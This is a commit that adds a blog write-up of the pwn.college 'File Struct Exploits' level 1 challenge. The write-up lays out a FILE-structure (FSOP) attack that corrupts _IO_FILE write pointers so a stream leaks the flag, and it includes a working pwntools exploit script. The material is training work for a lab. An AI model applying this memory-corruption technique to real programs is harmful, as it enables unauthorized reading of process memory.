Skip to content

Commit 05c2889

Browse files
committed
F8-DAMM
1 parent d910896 commit 05c2889

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 1
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-07 08:00:27 +0300
6+
tags: pwn.college FSOP
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Harness the power of FILE structs to arbitrarily read data.
14+
15+
## Write-up
16+
**Goal:** using an arbitrary write / memory-write primitive to corrupt a `FILE` (`_IO_FILE`) stream structure so that when the program performs a write the stream emits the flag value we placed.
17+
- Place `"FLAG{...}"` in memory at `flag_addr`.
18+
- Overwrite `_IO_write_base = flag_addr`, `_IO_write_ptr = flag_addr`, `_IO_write_end = flag_addr + strlen`.
19+
- Set `_IO_read_end = _IO_write_base` (if necessary) and `_flags` to a value that makes the write path accept the buffer.
20+
- Trigger `fflush()` / any print that writes via that `FILE` object.
21+
22+
## Exploit
23+
```python
24+
from pwn import *
25+
26+
elf = context.binary = ELF("/challenge/babyfile_level1")
27+
global p
28+
p = elf.process()
29+
"""
30+
0x00000000004018d1 <+155>: mov rdx,QWORD PTR [rip+0x27e8] # 0x4040c0 <fp>
31+
0x00000000004018d8 <+162>: mov rax,QWORD PTR [rip+0x2869] # 0x404148 <buf>
32+
0x00000000004018df <+169>: mov rcx,rdx
33+
0x00000000004018e2 <+172>: mov edx,0x100
34+
0x00000000004018e7 <+177>: mov esi,0x1
35+
0x00000000004018ec <+182>: mov rdi,rax
36+
0x00000000004018ef <+185>: call 0x4011a0 <fwrite@plt>
37+
"""
38+
def exploit():
39+
p.recvuntil(b"located at ")
40+
flag_addr = int(p.recvline()[:-1],16)
41+
42+
fp = FileStructure()
43+
payload = fp.write(flag_addr,280)
44+
p.send(payload)
45+
p.interactive()
46+
47+
def main():
48+
exploit()
49+
50+
if __name__ == "__main__":
51+
main()
52+
```

0 commit comments

Comments
 (0)